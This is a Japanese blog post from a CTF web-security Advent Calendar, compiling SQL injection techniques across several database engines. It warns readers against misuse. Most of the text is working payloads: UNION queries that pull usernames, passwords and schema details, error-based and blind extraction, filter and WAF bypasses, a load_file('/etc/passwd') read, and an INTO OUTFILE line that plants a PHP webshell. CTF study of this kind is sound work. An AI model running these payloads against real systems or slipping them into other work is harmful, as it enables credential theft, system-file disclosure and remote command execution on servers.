この記事はCTFのWebセキュリティ Advent Calendar 2021の5日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
SQL Injection
- CWE-89 SQLインジェクション
- 以下のようにチェックできるが、CTF以外で気軽に試さないこと。何が起きるかわからない。
- 最初に
'
か"
を試す- 正常時ではないエラーになった場合はSQLインジェクションが行える可能性が高い
- インジェクションに必要な
'
を適切に処理できていない可能性
- 何も出力が出てこないとわからないから、
1' AND sleep(5)
くらいが反応もわかりやすくていいかもしれない - jsonであれば
{"name":{"$ne": ""}}
としてNo SQL Injectionを試す
- 最初に
- チートシート/まとめ
- 発展的SQL Injection
DB毎の攻撃まとめ
PostgreSQL
' OR 1=1 --
- Postgres SQL Injection Cheat Sheet | pentestmonkey
- ここを見ると抜き出す方法が色々書いてある
- カラムのconcatが簡単にできる
UNION SELECT username || '~' || password FROM users
とすると、admin~pass
みたいに結合されて出てくる
- pg_userでユーザー情報を抜き取れる
/?search=%5C%27%20%3B%20select%20usename,%20usename,%20now()%20from%20pg_user%3B%20--%20&limit=60
- URLに入れるときは
' ;%
はエンコードする。,-'()
はしない - date型を要求された場合は、
now()
を入れておけば通ったりする \' union select url, session_user, tweeted_at from tweets --
のようにどんな場合でもsession_userとすればログインユーザーが得られるみたい
- コメント
/* comment */
が使えたりする。-
がNGになっていたら、末尾に/*
でコメントできるかも' union select 'admin', 'pass' /*
- リテラル表現を変えたいとき
- 単純に
'ad'||'min'
で'admin'
- Unicode表現
'test'
と書きたい時にU&'\0074\0065\0073\0074'
と書ける - two dollar signs
'test'
と書きたいときに$$test$$
と書ける$$a$$||$$d$$||$$m$$||$$i$$||$$n$$
このように書くと'admin'
と同様
- LPAD
LPAD('n', 5, LPAD('i', 4, LPAD('m', 3, LPAD('d', 2, LPAD('a', 1, '')))))
とすると、'admin'
と同様
- 部分文字列を抜き出したいとき
'123456'::VARCHAR(3)
とすると、'123'
となる
- 実はHEX表現もできる
admin
は0x61646d696e
とできる 変換これ&input=YWRtaW4)
- 単純に
- VALUE句で固定値をUNION可能
UNION VALUE('admin', 'password')
- Blind Postgresql Sql Injection – Tutorial – dotcppfile's Blog
- current_databaseが使えないならposgresqlじゃない?
- カラム名をutf16で指定可能
U&"\0075\0073\0065\0072\006E\0061\006D\0065"
MySQL/MariaDB
#
が使えたらMySQLだし、そうでなければそれ以外(PostgresSQL, SQLite)/* */
もコメントで使える
- UNIONによる結合で情報を抜く
UNION SELECT null,flag FROM flag
みたいにやるが、カラムが使えないときは、JOINを使うこともある 参考
- 暗黙の型変換
- UPDATEをインジェクションできたりする
- 使用済みペイロード一覧
- ' OR ''='' #
- カラム数特定
- ' UNION SELECT 1 #
- ' UNION SELECT 1,2 #
- テーブル情報抜く
- ' UNION SELECT group_concat(TABLE_NAME), null from INFORMATION_SCHEMA.COLUMNS #
- ' UNION SELECT DISTINCT TABLE_NAME, null from INFORMATION_SCHEMA.COLUMNS #
- ' UNION SELECT group_concat(COLUMN_NAME), null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Agents' #
- 普通にデータ抜く
- ' UNION SELECT group_concat(UA), null FROM Agents #
- 便利なshow構文というのがある
1';show databases;#
みたいに複文にして実行するshow databases;
DB一覧表示(カラム:Database)show tables;
参照可能なテーブル表示show tables from [dbname];#
とあるDBにあるテーブル表示(こっちは使わない方がいいかも)
show columns from [tablename];
カラム表示- show columns from
1919810931114514
; なんか分からんけど`をつけないと動かないときがある
- show columns from
- テーブルをごっそり入れ替えて情報を抜き取る
- tableAを参照して表示しているサイトがあり、秘密情報がtableBにあるとする
- 以下のようにして、テーブルを入れ替えて、秘密情報を抜き取る
- rename tables
tableA
totableABackup
; tableAを別に移す - rename tables
tableB
totableA
; tableBをtableAにする - alter table
table
changeflag
id
varchar(100); 正しく参照できるようにカラム名を変える
- rename tables
- 文字列系
- 普通は
'admin'
とすればいいが、シングルクオートが使えない場合はCHAR(0x61,0x64,0x6d,0x69,0x6e)
のようにして表現可能char(97,100,109,105,110)
でもadmin
- substrはSUBSTRINGと書いても使えるし、MIDと書いても使える(使い方は全部一緒)
- 文字列比較は大文字小文字は区別しない
- id='AdmIn'と書いてもいい。こうすると、ちゃんと取ってはこれるけど、入力は厳密にadminではない状況を作れる
- 普通は
- 論理演算子
- and,or,notは記号での表現が使える
- MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.3.3 論理演算子
- andは&&、orは||、notは!
- and,or,notは記号での表現が使える
- MySQL 1093 error
- クエリステートメント内で同じテーブルを呼び出す場合、エラーを発生させる
- |Lord of SQL_injection| #29 Phantom :: 보안 한 걸음
insert into Users values('username',(select password from Users where username='admin'))
は成功しそうだが、失敗する- 同じテーブルを呼び出しているので、違うテーブルとしてやればいい
- エイリアスを付けて回避する
- UsersテーブルをUsers2テーブルとして別名にしている
insert into Users values('username',(select password from Users Users2 where username='admin'))
- 一時テーブルを作成する
insert into Users values('username',(select password from (select password from Users where username='admin')))
- エイリアスを付けて回避する
- SQLインジェクション外の話
MySQLでは文字コードをutf8mb4ではなくutf8に設定していると絵文字などの4バイト文字列が判別されなくなる
出典- 覚えておく
- 寿司ビール問題という話題もある
- MySQL で utf8 と utf8mb4 の混在で起きること - tmtms のメモ
- ここを見ると?にはなるが、実際の?ではなく、内部的には4バイト文字になってるっぽい
- LIMIT
- LIMIT M,Nと書くと「先頭M行をスキップして、N行分取り出す」となる
- スキーマ=データベース
- 存在しない関数を呼び出すと、エラーを誘発でき、エラー文が表示される場合はDB名が抜ける
- ctfs/Write-ups.md at master · saw-your-packet/ctfs
'+HOGE()+'
->FUNCTION ag3nt_u_1s_v3ry_t3l3nt3d.HOGE does not exist
- inというwordを使わずにテーブル名を抜き出す方法
- id=-1=0は恒真
- id=-1がfalseになって0になって0=0でtrue
- かっこを使ってスペース無しで文を成立させる
- wanictf2020-writeup/web/SQL_challenge_1 at master · wani-hackase/wanictf2020-writeup
years=(1)or(1)=(1)
はSQL文として使える
- 暗黙の型変換
- wanictf2020-writeup/web/SQL_challenge_2 at master · wani-hackase/wanictf2020-writeup
years = [year]
みたいな文だと、想定はyears = 2020
だが、years = false
という風にも書ける(!)- yearsに数値以外が入ってると、
years = false
でそれがヒットする
where years=years
みたいになってると恒真- フィルターでunionできないときは?
- Fingerprinting MySQL
- BtS-CTF-Challenges-03-2021/README.md at master · PWrWhiteHats/BtS-CTF-Challenges-03-2021 · GitHub
mycursor.execute("SELECT * FROM coupons WHERE code = /*" + str(form['cid']) + "*/ '1234'")
なら以下が動く!'' UNION SELECT 1, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' AND '1234'=0 --
!'' UNION SELECT 1,Y29sdW1ueGRuYW1l,2 FROM ZnVubnkgdGFibGUgbmFtZQ WHERE '1234'=0 --
- MySQLでinformation_schemaを使用せずに未知のテーブルから情報取得
- https://terjanq.medium.com/blind-sql-injection-without-an-in-1e14ba1d4952
- テーブル名を
sys.schema_table_statistics
で特定 - カラム名を
SELECT (SELECT 1, 'aa') = (SELECT * FROM example)
のような感じでBlindsqliで特定
- 使えるメソッド
database()
DBのバージョンとかuser()
ユーザー名とか
- 実はLFIできる
load_file('/etc/passwd')
SQLite
- チートシート
- SELECTドキュメント SELECT
- テーブル情報を全て抜き出す
SELECT group_concat(sql) FROM sqlite_master
とすると、カンマで結合されて1レコードで出てくる 出典SELECT sql FROM sqlite_master
と書くと全部バラバラに出てくる
- カラム名取得
select sql from sqlite_master where type='table' and name='table_name'
- 末尾コメント
--
/*
- ヌルバイトを終端として利用できる(=実質ヌルバイトを末尾コメントとして利用できる)
- 使用済みペイロード
1 OR 1=1
moneys='||(select sqlite_version()) --
で試せる
- ASを使って新しいテーブルを作成する
SELECT id,username FROM (select 2 id,enemy username FROM costume where id like 1) WHERE id = 2
- こういう感じにFROM内部にインジェクションすることで、enemyをぶっこ抜ける
- SELECT内部は
select 2 as id, enemy as username FROM costume where id like 1
と同義
- 文字列のエスケープ
- SQLiteではDB情報がファイルとして出力されるので、そのファイルが見られてしまうと情報流出する(適切な権限を付けよう)
- 仮にユーザー毎にDBファイルを作成していて、
db_username.db
というファイルを作成していたとする - この時にusernameとして、
/
を入れることができると、db参照時にエラーが発生して、エラー表示を見ることができたりする - すると、dbファイル名の規則性が抜き取れるので、
db_admin.db
みたいにしてアクセスして、バイナリエディタで中身を見れば、色々分かる
- 仮にユーザー毎にDBファイルを作成していて、
- VALUE句で固定値をUNION可能
UNION VALUE('admin', 'password')
- 使えそうなレポート
- こういう風にしてあったらプリペアードステートメントなので安全
cursor.execute("INSERT INTO table VALUES ?", args)
- だが、例外的にテーブル名の場合は脆弱になる場合があるらしい ここ
- 文字列系
last_insert_rowid()=last_insert_rowid()
を条件に使ってみて使えたらSQLiteという見分け方もある- Baby SQLi - zer0pts CTF 2021 - HackMD
- INSERTで任意の情報を抜き取る
- 入れ子でSELECTを入れ込むことで抜ける
insert into visit (post_id, user_id, ua) values (5,2,'$user-agent');
で$user-agentに' || (SELECT文) ||'
を入れる
- 入れ子でSELECTを入れ込むことで抜ける
- コンマが使えないとき。以下2つは同じ
UNION SELECT null,user()
UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT user()) AS b
- テーブル名は大文字小文字無視する
flag
でもFlag
でも一緒
- 改行が入ってても無視する
- 改行をスペースの代わりにできる
%0D%0A
- 改行をスペースの代わりにできる
- カラム名として16進数表記をしたいとき
SELECT x'686f6765' FROM example;
(テーブル名には使えない)
SQL Server (MS SQL)
- MSSQL Injection Cheat Sheet | pentestmonkey
- テーブル一覧
SELECT name FROM sysobjects WHERE xtype = 'U';
select name from sys.tables
- カラム一覧
select name from sys.columns where object_id=オブジェクトID
- オブジェクトIDは
select object_id from sys.tables where name = 'テーブル名'
で取ってこれる
- オブジェクトIDは
- テーブル一覧
- コメントは
--
,/**/
- エラーを出したいとき
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'z' to data type int.
- [LOS] nessie
1=(case when 条件 then 'z' end)
とすれば条件がtrueならエラーが出る
- 関数
- 長さ取得:len
- 部分文字列:substring
- HAVING, GROUP BYトリック
group by 1
でも出る- 多分最初のカラム名が出る
- [Lord of SQL Injection] LoS - revenant 문제풀이 | mingzzi
- ここに書いてある。having 1=1を書いておくと、エラーが出る。かつ、エラーが表示されるようになっていると、カラム名が流出する。
- 1個とってきたら、
group by name1 having 1=1
としてエラーを出すと2つ目のカラム名が出てくる。 - カラム名を入れてうまくいかなかったら
[カラム名]
のようにするとうまくいったりする(よくわからん) - エラーが消えたら全部抜き取り成功
- エラー文から内容を抜き取る方法
- スペースが使えないとき
- これはデータベース識別子 - SQL Server | Microsoft Docsが使える。
- 本来は予約語をテーブル名とかにした場合に使うものであるが、これを使うとスペースが必要なくなる。
select password from Users where username = 'admin'
⇒select[password]from[Users]where[username]='admin'
- 例:
select[pw]from[prob_mummy]where[id]='admin'and[pw]like'A%'
- 文字列
- concatするときは
'x'||'y'
のように||を使う char(97,100,109,105,110)
でadminになる
- concatするときは
Oracle DB
- 特徴的なエラー
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
やMicrosoft VBScript runtime error '800a01a8'
- DB情報を抜き取るとき
- テーブル名を全部抜く
select table_name from all_tables
- ALL_TABLES
$
が入ってるやつはシステム系?
- テーブル名からカラム名を全部抜く
select column_name from all_tab_columns WHERE table_name = 'table'
- テーブル名を全部抜く
- 参考:Union Based Oracle Injection
- 文字結合は||
細かいテク
- HowToHunt/SQL_Injection.md at master · KathanP19/HowToHunt
- SQL文のlimitにインジェクションできるとき
- サニタイジング回避テク
- 空白の代わりに
- Space2Comment
- /**/を使うと空白として扱われれる
- RITSEC CTF 2018 Space Force 「'=''or'」、「'//union//select//*//from/**/spaceships#」、「'=''#」
"union(select/**/table_name/**/from
information_schema.
tables)#
- 特殊文字をスペース代わりに使える
- 垂直タブ(%0b)
\v
- Form Feed、改ページ(%0C)
\n\r\t
も使える
- 垂直タブ(%0b)
- Space2Comment
- limitテク
limit 1
とすると先頭1つになるが、limit 1,1
とすると先頭2つ目、limit 2,1
とすると先頭3つ目。
- バージョン抜き出し
- Examining the database in SQL injection attacks | Web Security Academy
- Oracle DBの場合は
select BANNER from V$VERSION
- MySQL, MSの場合は
select @@version
- substr
SUBSTR(string,position,length)
- positionは1-indexed
- 代わり substring(), mid(), like 'x%', like hex(x%)
- ascii代わり hex(), bin(), 0xabcd
- sleep()代わり benchmark(), WAIT FOR DELAY 'time'(S)
- Quine SQL query
- Quineとは自分自身を生成するコードのことであるが、SQL InjectionでQuineを達成する方法がある
- いつ使えるのかという話だけど、「user,passでDB検索してpassを持ってくる→入力passとDBpassが等しいか再確認」をしているときに再確認をバイパス可能
- 以下情報
- MySQL
- |Lord of SQL_injection| #30 Ouroboros :: 보안 한 걸음
' union SELECT REPLACE(REPLACE('" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine%23',CHAR(34),CHAR(39)),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine%23') AS Quine%23
- Solution: Lord of SQL Injection zombie – niek
' union select substr(info,38,70) from information_schema.processlist%23
information_schema.processlist
には、現在動いているスレッドについての情報が書かれている。 中身はこんな感じ
- |Lord of SQL_injection| #30 Ouroboros :: 보안 한 걸음
- unionが使えないとき
- blind SQLiするしかない?
- selectがつかないとき
- 基本抜き取れない
- 「MySQLのテーブルをごっそり入れ替えて情報を抜き取る」にあるようなヤバい奴をやる
- 論理演算子について
- ANDの方が優先度が高い
A=B AND C='[user]'
に対して、A=B AND C='' OR D=E AND F='G'
となるようインジェクションする- 前半のANDはfalseなので実質後半の
D=E AND F='G'
の評価と等価となる
- true,falseと書けばboolリテラルになる
- ANDの方が優先度が高い
- PHP
- addslashes関数
- 初心者PHPerにおくる脆弱性を入れないプログラミングのススメ 〜 SQLインジェクション | エレパ スタッフブログ
- 文字コードがshift-jisだと危険で、
\x83'
のようにすると、\x83\x5c'
となって、前半部分はshift-jisでソと解釈されて回避できる
- 文字コードがshift-jisだと危険で、
- addslashes() Versus mysql_real_escape_string(), by Chris Shiflett
- こっちは文字コードがGBKだと危険な例
- 初心者PHPerにおくる脆弱性を入れないプログラミングのススメ 〜 SQLインジェクション | エレパ スタッフブログ
- mysql_real_escape_string関数
- MySQL :: MySQL 5.6 リファレンスマニュアル :: 23.7.7.54 mysql_real_escape_string()
- 「\」、「'」、「"」、NUL (ASCII 0)、「\n」、「\r」、および Control+Z がエスケープ
- 逆に安全だったパターン
$id = mysql_real_escape_string(trim($id))
として、"select * from user where id='$id'
- mysql_real_escape_stringは完全に安全ではないけど、
'
で囲ってあると安全 mysql_real_escape_string()のみで防げないSQLインジェクション [ SHOYAN BLOG ]
- mysql_real_escape_stringは完全に安全ではないけど、
- addslashes関数
- 文字列系
- イコール(=)vs ライク(LIKE) の巻 - 41から始めました
- イコールによる文字列比較ではSQLの仕様レベルで以下のようになってる
- スペースは無視
- 大文字小文字も区別しない
- =を使った文字列比較ができないなら、like文で代用可能
password=''=''
は恒真(少なくともMySQLでは確認)
- IN構文
WHERE user IN("A","B","C")
と書くと、userがA,B,Cのいずれかのものが取ってこられるuser = 'A'
と書くところをuser IN("A")
と書ける
- like構文
- 末尾のいらない部分について
- コメントで消す
;%00
で消す(ヌルバイト攻撃)
- 改行ありのSQLについて
- 例えば
select * from Users where id = 'admin' # [injection]
という元のSQL文があるとき、- 改行文字である
%0a
を先頭に入れることで改行されて、コメントの影響を消すことができる
- 改行文字である
- 例えば
- INSERT
- INSERT文は複数挿入可能
insert into Users values('username','pass')
となってて、passに'), ('evil', 'magic
とすれば不正にもう1つ挿入することができる
- SQL Injection in Insert, Update and Delete Statements
- なんかすごそうな文献
or updatexml(1,concat(0x7e,version()),0) or
- これを何とかして埋め込めばいい。評価結果はどんなものでもいいけど、SQL構文は合わせること
- 例えば
values('<<injection>>','cd');
という場合は'&&(select ...)&&'
みたいに文字列結合と複文でいい感じにする
- 例えば
- INSERT,UPDATE,DELETE+エラーが出る場合は、updatexml関数を使えばエラー文経由で情報抽出可能
- ブラインドSQLiもエラー文の有無とかでできる
- concatで先頭にチルダを付けるのだが、これはなぜなんだろう…
- なんかチルダを付けないと文字列認定されないのかな?
- MySQL updatexml()、extractvalue() 报错型SQL注入 // Neurohazard
- これ見るとSELECTでもいけそうな感じする
or updatexml(1,concat(0x7e,(select distinct table_schema from information_schema.tables limit 1,1)),0) or
- こういう感じに複文でやればやりたい放題。
- extractvalueを使う手もある
- ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012 | 徳丸浩の日記
- ctf/N1CTF 2020/web/signin at master · Super-Guesser/ctf
(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=2 limit 1)))))
- 第二引数がエラーに出てくる
- これを何とかして埋め込めばいい。評価結果はどんなものでもいいけど、SQL構文は合わせること
- INSERT文は複数挿入可能
- 適当にsleepしたいとき
union select sleep(1)
をつける - WAF bypass
- ModSecurity Core Rule Set v3.1.0
- Bypass the latest CRS v3.1.0 rules of SQL injection · Issue #1181 · SpiderLabs/owasp-modsecurity-crs
-1'<@=1 OR {x (select 1)}='1
- ModSecurity Core Rule Set v3.1.0
- スペースと長さの上限を上手く使うテク
id char(10)
としてテーブル定義されてるときにidにadmin 1
を与えたとする- こうすると、idが存在するかの検索では
id = 'admin 1'
で検索されて、idが存在しないとなるが、 - updateの歳にはスペースは前後のスペースは無視されるので、
admin
に対して更新がかかる(ほんとか?検索時にスペースが無視されるだけかも)
- こうすると、idが存在するかの検索では
VERSION()
でDBのバージョンとかが抜ける- information_schema系
- SQL標準らしい(ほんとか?)、とりあえずMySQLとPostgreSQLでは使える
- 通常の流れ
' UNION SELECT GROUP_CONCAT(distinct TABLE_SCHEMA),1,1 FROM INFORMATION_SCHEMA.TABLES # ' UNION select GROUP_CONCAT(distinct table_name),1,1 from information_schema.tables where table_schema = 'search' # ' UNION select GROUP_CONCAT(column_name),1,1 from information_schema.columns where table_name='secrets' # ' UNION select username,password,1 from secrets #
- スキーマを抜く
SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES
- ちなみに
DATABASE()
で(デフォルト?)現在使ってるスキーマが分かる
- ちなみに
- テーブルを抜く
select GROUP_CONCAT(distinct table_name) from information_schema.tables
- カラムを抜く
select GROUP_CONCAT(column_name) from information_schema.columns where table_name='tablename'
- information_schema.tables
- information_schema.columns
- PostgreSQL:テーブルとカラムを抜く
select concat(TABLE_NAME,COLUMN_NAME) from information_schema.columns
- MySQL:
SELECT group_concat(TABLE_NAME) from INFORMATION_SCHEMA.COLUMNS
- テーブルからカラムを抜く
select column_name from information_schema.columns where table_name='tablename'
- PostgreSQL:テーブルとカラムを抜く
- information_schema.processlist
- 現在動いているスレッドについての情報が書かれている。
- quineで使える
' union select substr(info,38,70) from information_schema.processlist%23
ここ
- Second Order SQL Injection
- 高木浩光@自宅(テレワークを除く)の日記 - 「逆」にしたERBが登場, 要約版:「サニタイズ言うなキャンペーン」とは, 既にここまで来ている――サニタイズ症候群の末期的惨..
- ここを読むのがいい気がする。Stored SQL Injectionとも言われるとPortSwiggerに書いてあった
- 要はペイロードをDBに入れるときはサニタイズされて上手い事いれるけれど、それを取り出して再度使うときにSQL Injectionが発火するというもの
- 関連
- Second Order SQLは時によってはWAFをbypassするのに使える
- MSSQL practical Second Order Exploitation
- ここの例では複文でupdateができることを利用して、SQLiの結果を特定の場所にコピーして、正規の手段でアクセスして結果を表示させる方法をとっている
- これをSecond Order SQL Injectionと呼んでいいのか分からないが、興味深い例ではある
- 高木浩光@自宅(テレワークを除く)の日記 - 「逆」にしたERBが登場, 要約版:「サニタイズ言うなキャンペーン」とは, 既にここまで来ている――サニタイズ症候群の末期的惨..
- いらない句を文字列に押し込むことで無効化する
SELECT useername, password FROM users WHERE username='${usernmame}' AND password='${password}'
ad'||'min' group by
'
- こうすると、後ろのpassword部分が文字列に押し込まれてgroup byで使われる。使われても無いので無視されるという寸法
- group byで押し込む以外にもSUBSTRとかも使える
- SQL Injection Cheat Sheet | Netsparker
- order byによる取得カラム数判定
[未知のSQL文] order by [番号]
の形を作る- 番号の部分で未知のSQL文で取得しているカラム数を超えてしまうとエラーになることを利用して二分探索的に探索する
- つまり、取得カラム数が3なら
order by 1
とかorder by 3
は成功するが、order by 4
やorder by 10
は失敗する
- カラムをくっつけて持ってきたいとき
concat(username,0x3a,password)
group_concat(username,0x3a,password,0x0a)
- Error-Based SQL Injection
- INSERT文であっても使える、エラー文を経由して情報を持ってくるテク
- using XPATH (Extractvalue)
- Error Based Injection using Extractvalue
and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))--
- using UpdateXML
- Error Based Injection using UpdateXML
and updatexml(null,concat(0x3a,(OUR QUERY HERE)),null)--
- using SubQuery
- Error Based Injection SubQuery Injection
- ほんとにできるの?
and (select 1 from (Select count(*),Concat((<Your Query here to return single row>),0x3a,floor(rand (0) *2))y from information_schema.tables group by y) x)--
- SQLiを使えばDoSができるっぽいがそれどころじゃない気がするので、ちゃんと読んでない
- order byの中に入れるときのinjection
- addslashをマルチバイト文字でbypassするテクニック
- Bypass Addslashes using Multibyte Character
'
とする代わりに%bf%5c'
とするだけ
- SQLiのwaf bypassテク
- SQLiを使ってファイル書き込みをする
union select "<?php SYSTEM($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'
とやればwebshellを置ける
- アプリケーションとSQL処理で処理方法が違うことを利用